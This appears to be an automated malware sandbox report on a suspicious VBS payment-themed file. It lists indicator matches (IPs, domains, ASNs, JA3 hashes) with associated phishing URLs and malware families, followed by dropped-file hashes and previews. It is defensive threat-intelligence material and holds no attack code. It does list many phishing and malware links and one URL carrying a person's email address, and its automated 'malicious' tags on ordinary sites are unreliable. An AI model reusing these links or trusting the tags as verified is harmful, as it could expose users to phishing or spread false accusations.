	NexoPack Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	H3Ze9Uj.exe	Get hash	malicious	XWorm	Browse
	Mansion_setup (1).exe	Get hash	malicious	Unknown	Browse
	Faersafe_setup.exe	Get hash	malicious	Unknown	Browse
	FAIRSAFE_setup.exe	Get hash	malicious	Unknown	Browse
91.228.74.200	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse
	f_0139ee	Get hash	malicious	Unknown	Browse
	https://sourceforge.net/projects/openocd/files/openocd/0.12.0/openocd-0.12.0.tar.bz2/download	Get hash	malicious	Unknown	Browse
	https://sourceforge.net/projects/openocd/files/openocd/0.12.0/openocd-0.12.0.zip/download	Get hash	malicious	Unknown	Browse
	http://ntp2.mywavehome.net	Get hash	malicious	Unknown	Browse
	https://hhdtte3773.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	SERVED SUMMON LETTER 01-30-2025.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://attmailupdatedadventure.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	http://whatsappweb.net	Get hash	malicious	Unknown	Browse
	https://sites.google.com/view/bnpparibas-4/home	Get hash	malicious	Unknown	Browse
216.22.16.4	https://shorturl.at/gjty7	Get hash	malicious	Unknown	Browse
	http://bckonline.com/2018/12/21/orlando-brown-tells-dr-phil-that-he-has-four-kids-and-the-2-year-old-is-still-in-the-belly-video/	Get hash	malicious	Unknown	Browse
	http://www.tinyurl.com/stationnement-infraction	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_c7da8e8d530606f98d3014dbf9ce345b0d07dd48.zip	Get hash	malicious	Unknown	Browse
	https://conexaoufo.com/en/salyut-7-space-angels-sighted-by-russian-cosmonauts/?fbclid=IwAR0M6Prz4YudFXb6qx6hSSNhDH_aQ50t8dMsDeG9zxGInfhVplAejrcwSlg	Get hash	malicious	Unknown	Browse
	https://nursing-theory.org/articles/The-History-of-Nursing.php	Get hash	malicious	Coinimp	Browse
	https://z5amz.app.link/1B8FVTr8eDb	Get hash	malicious	Unknown	Browse
216.22.16.5	https://www.pxfuel.com/	Get hash	malicious	Unknown	Browse
	https://sourceforge.net/projects/docfetcher/files/docfetcher/1.1.25/docfetcher_1.1.25_win32_setup.exe/download	Get hash	malicious	Unknown	Browse
	https://today-currently-24-2-1024.weeblysite.com/	Get hash	malicious	Unknown	Browse
	Polynomial.xlsb	Get hash	malicious	Unknown	Browse
	SamFwFRPTool.exe	Get hash	malicious	Unknown	Browse
	https://lazesoft.com/	Get hash	malicious	Unknown	Browse
	https://sethlui.com/	Get hash	malicious	HTMLPhisher	Browse
	https://austin.eater.com/users/GadgetKingsQLD	Get hash	malicious	HTMLPhisher	Browse
	http://iplogger.com	Get hash	malicious	HTMLPhisher	Browse
52.26.122.59	https://login.issue.autonews.com/custompages/crain/login.aspx?pbid=1bfa4d66-4500-4052-8d12-b04775c24d16	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
scribd.map.fastly.net	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	151.101.2.152
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	151.101.2.152
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	151.101.130.152
	https://www.scribd.com/document/819734669/Advice-Notification#fullscreen&from_embed	Get hash	malicious	HTMLPhisher	Browse	151.101.2.152
	https://www.scribd.com/document/787929982/script-tlsfrance	Get hash	malicious	Unknown	Browse	151.101.194.152
	https://www.scribd.com/document/801519291/Advice-Notification#fullscreen&from_embed	Get hash	malicious	HTMLPhisher	Browse	151.101.194.152
	http://ogp.me/ns#	Get hash	malicious	Unknown	Browse	151.101.194.152
	https://jogosderobloxdematazumbie.blogspot.com/	Get hash	malicious	Unknown	Browse	151.101.2.152
	https://www.scribd.com/document/762765489/Advice-Notification#fullscreen&from_embed	Get hash	malicious	Unknown	Browse	151.101.2.152
	https://www.scribd.com/document/740897832/DOCUEMNT#fullscreen&from_embed	Get hash	malicious	Unknown	Browse	151.101.130.152
d2fashanjl7d9f.cloudfront.net	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	18.66.102.121
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	18.66.102.121
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	18.66.102.121
	http://colruyt.us	Get hash	malicious	Unknown	Browse	18.66.102.57
	SERVED SUMMON LETTER 01-30-2025.pdf	Get hash	malicious	HTMLPhisher	Browse	18.66.102.66
	https://urlz.fr/tJIZ	Get hash	malicious	Unknown	Browse	18.66.102.121
	http://ebaumsworld.com	Get hash	malicious	Unknown	Browse	18.66.161.109
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	18.66.161.109
	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	18.66.102.121
	http://samobile.net/content/offsite_article.html?url=https%3A%2F%2Fsepedatua.com%2F158983%2Fsecure-redirect%23cnichols%2Bderickdermatology.com&headline=New+Jerusalem%2C+The+by+Chesterton%2C+G.+K	Get hash	malicious	Captcha Phish	Browse	18.66.102.57
chrome.cloudflare-dns.com	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	162.159.61.3
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	172.64.41.3
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	172.64.41.3
	Shipment-100032756.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Customer support.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	Xw9oZv75Ze.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	hHtR1O06GH.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	MDE_File_Sample_baee32e2367a787814415d166abb7bc5b9061c5c.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	updater.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	NexoPack Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	3.161.82.12
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	108.138.112.90
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	108.139.47.120
	payment1.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	2024-02-17.js	Get hash	malicious	FormBook	Browse	13.248.169.48
	PO.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	ORD_VIO-002-2025e-O001.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	file.lnk	Get hash	malicious	Unknown	Browse	52.222.236.19
	file.lnk	Get hash	malicious	Unknown	Browse	52.222.236.76
	Hilix.sh4.elf	Get hash	malicious	Unknown	Browse	54.112.132.3
LEASEWEB-USA-WDCUS	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	23.105.12.121
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	216.22.16.53
	UPDATED SOA.pdf.exe	Get hash	malicious	FormBook	Browse	199.115.118.7
	SHIPMENT OF THE ORIGINAL DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	199.115.118.7
	Order inquiry.pif.exe	Get hash	malicious	FormBook	Browse	199.115.118.7
	http://www.cortexi.com	Get hash	malicious	Unknown	Browse	162.210.196.168
	pappy.ps1	Get hash	malicious	FormBook	Browse	162.210.195.109
	cXOl5p154feA0TE.exe	Get hash	malicious	FormBook	Browse	162.210.199.73
	r53YFSyurTyIZZMd.exe	Get hash	malicious	FormBook	Browse	207.244.70.152
	PDF SCAN COPY P.O7767.exe	Get hash	malicious	FormBook	Browse	162.210.195.109
QUANTCASTUS	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	192.184.68.166
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	192.184.68.228
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	192.184.68.166
	http://ln.run/aktivasi-tarif-Bank-BSI-id	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://hsvxfzso.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	91.228.74.244
	https://ntp2.mywavehome.net	Get hash	malicious	Unknown	Browse	91.228.74.159
	http://colruyt.us	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://files.fm/f/wpd3hsuh55?share_email_id=15c922d&share_email_skip_notify=true	Get hash	malicious	Unknown	Browse	91.228.74.166
	f_0139ee	Get hash	malicious	Unknown	Browse	91.228.74.244
	http://%5B%22https://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Femail.bcbssettlement.com%2Fc%2FeJxkzL1OwzAQAOCnscfIPv9m8IAgERVqQRTm6OxcVaPERcnB87Owdf_0zclG8M5JSjqY2Gvd91FekzYqO3LxgkXb4rxykA1hCME4F0KRNYECp0AFFZQ3sQNvvLUzImU7a62FVbnkfSfmhVZq3JXbKpd0Zf7ehXkQMAoYdyo_G3X3UsA4E9O21oZcb01u6YuwUaOON7zUgo1JWIVLrv83p_Pzy_T2PhwPn8fp9PpxeBym83B6kr8J_gIAAP__kjFIFA&data=05%7C02%7Cjeanene.traficante%40albint.com%7C1fdf299aa52a4a651cc208dd4745f85b%7Cff3d33ae31364152812675e51f4a1404%7C0%7C0%7C638745088046675413%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=fGCIRyUUbeFPm7FcRl%2FZ7oH%2FXi3jt5H1pOFROm4%2BJoY%3D&reserved=0%22,%20%222f9fb485af706049f5d23654ae36fb8f%22%5D	Get hash	malicious	Unknown	Browse	91.228.74.244
LEASEWEB-USA-WDCUS	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	23.105.12.121
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	216.22.16.53
	UPDATED SOA.pdf.exe	Get hash	malicious	FormBook	Browse	199.115.118.7
	SHIPMENT OF THE ORIGINAL DOCUMENTS.exe	Get hash	malicious	FormBook	Browse	199.115.118.7
	Order inquiry.pif.exe	Get hash	malicious	FormBook	Browse	199.115.118.7
	http://www.cortexi.com	Get hash	malicious	Unknown	Browse	162.210.196.168
	pappy.ps1	Get hash	malicious	FormBook	Browse	162.210.195.109
	cXOl5p154feA0TE.exe	Get hash	malicious	FormBook	Browse	162.210.199.73
	r53YFSyurTyIZZMd.exe	Get hash	malicious	FormBook	Browse	207.244.70.152
	PDF SCAN COPY P.O7767.exe	Get hash	malicious	FormBook	Browse	162.210.195.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	FEDEX_SHIPPING_DOCUMENTS_MUO98376_B324.exe	Get hash	malicious	DBatLoader, Snake Keylogger, VIP Keylogger	Browse	185.39.18.56
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	185.39.18.56
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	185.39.18.56
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse	185.39.18.56
	Rooming list.js	Get hash	malicious	Remcos	Browse	185.39.18.56
	nDHL_CUSTOM_CLEARANCE_FORM_3409249_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	185.39.18.56
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.39.18.56
	PO-G0170-PF3F-25-0329.js	Get hash	malicious	Unknown	Browse	185.39.18.56
	useeeerrrrr.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.39.18.56
	Maersk_shipping_documents_Awb_BL_Inv000000000000000000000pdf.bat	Get hash	malicious	Unknown	Browse	185.39.18.56

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8525292172095873
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug/:gJjJGtpTq2yv1AuNZRY3diu8iBVqFR
MD5:	EBF9C9344D6A4ECAB84694542E2AB713
SHA1:	FB620BD172C12DC4D7614228857295117085C16F
SHA-256:	9ED5C481C161FDC19104DF789F7B8A768EAD0EB12292D74695A6B0F91A0851D9
SHA-512:	E37C14174B26C9029693E2C2CA4E8A663C7A3C91D3089C7E7D462B0728FDCCEC7AEDD7DB63D9A6BCE1EFBAE87D01D8B453E41C5D8889F1A3FA540CD145BB36E0
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbed2e7c8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585612169774393
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	F395BC15BA4E74A52EE1BC857BF98B1C
SHA1:	1F43C01C8FA23E8BB0320523438B069DB3BFA6A1
SHA-256:	BDC9AAE62C7B6720FB43AA280E3A722B8A8A2754CC120AFE4ADAC205FE4DA004
SHA-512:	A144F1EE0A626A90B08F82A73D27A351514DB3A2EB4B8C158740AFF32F9A9A6396C368CD45CD5396448CB892A0C29E736604096E7919A27F774906F992BCEF1C
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{..4....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................s.4....}...................d2.4....}-..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08158082283142432
Encrypted:	false
SSDEEP:	3:ZWtKYemSMhvtGuAJkhvekl1PHtollrekGltll/SPj:ZWtKz8trxl9GJe3l
MD5:	1273CF87F63D16CD52354712510BE321
SHA1:	6039325A88588ACB5AC3E089D8804A8E5CA619BF
SHA-256:	95D400AC63394C822F19D7B99B4A8508D157E8FA715E201D1567733F1C26C339
SHA-512:	EAC4BC29E4223F76FB14C045DE3A085398E974C9F95C29CCBF8BD73A0026103C48EFD4519138C9DDED2577871228F657B3695BA131BBB4C52534C1C36C5514B6
Malicious:	false
Preview:	O..f.....................................;...{..4....}-......{...............{.......{...XL......{...................d2.4....}-.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36d463fe-a0ea-471d-898a-a3427268d214.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45798
Entropy (8bit):	6.089886657938557
Encrypted:	false
SSDEEP:	768:RMkbJ6eg6KzhXRLri9yk7lhDO6vP6OYBf8yNGRJveqJHDtl/dOCAoiGoup1Xl3j5:RMk16zRRvi9yv64BkyNQloRoihu3VlXv
MD5:	3F97BBF7A1182257EA5B936DF11ACAFE
SHA1:	01967E19C9CED534A3CAA7C19BE017931AF49D32
SHA-256:	216F72703317A2E7006A70BD5A59F5C265D50082DCBAB26C73B749E014B7CEB4
SHA-512:	2DE9F0542B0C99DF31B135077F298815FAB02070DDFD613CF7AD5F3C3D2CDAA1F7F58BC114BB700848E2CBA44381125EBFAB9AAFA78A1087558684B521FF4CC7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1739863195"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\67154a2c-9be8-422d-a050-ad829042bd64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8bfd537e-7fd1-4b97-9a5c-53cf3f626d63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44639
Entropy (8bit):	6.096814633583109
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBKwuYhDO6vP6OYBf8yNTRJveqJHDtcGoup1Xl3jVu:z/Ps+wsI7yOEG64BkyNFchu3VlXr4CRg
MD5:	F359616E756BA757C8D5B1D816252492
SHA1:	BD0D17CB69C846D6B5CBB529046974FE2DDC2FB5
SHA-256:	DEB1BC12AE82CDF5086E4BC75D6C5ECAFE07DB082B756A75CBDA3E5354321E76
SHA-512:	798F3317F0CBB6B69F056568757318EC079D1CB1570A7F0389DCFFC2BA84744779523629FB03E5EE81FE3B80A7AC085DFEC0DFCED1530724DDC5F8FD749D79C7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\226af1ae-3954-404a-b00b-cca40272e6f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640145471317393
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7P:fwUQC5VwBIiElEd2K57P7P
MD5:	0D11E4CF38D29A05CFD1E24D8D5C5487
SHA1:	BB6CCB6F38682C5E80238A97729F1D2FD017E597
SHA-256:	72FC5D74BAC29929064B3243F2E491F3A88E6508731C00701C8F6602D36510BF
SHA-512:	CC94004F6EFC69D005575A5A359770BDD67C88E41B478EF3CFD41386FDB09D3986B532E6927CE54F30606D5EB14A9F3A9FBF16D3AB3EB74473865EC60D246F50
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640145471317393
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7P:fwUQC5VwBIiElEd2K57P7P
MD5:	0D11E4CF38D29A05CFD1E24D8D5C5487
SHA1:	BB6CCB6F38682C5E80238A97729F1D2FD017E597
SHA-256:	72FC5D74BAC29929064B3243F2E491F3A88E6508731C00701C8F6602D36510BF
SHA-512:	CC94004F6EFC69D005575A5A359770BDD67C88E41B478EF3CFD41386FDB09D3986B532E6927CE54F30606D5EB14A9F3A9FBF16D3AB3EB74473865EC60D246F50
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
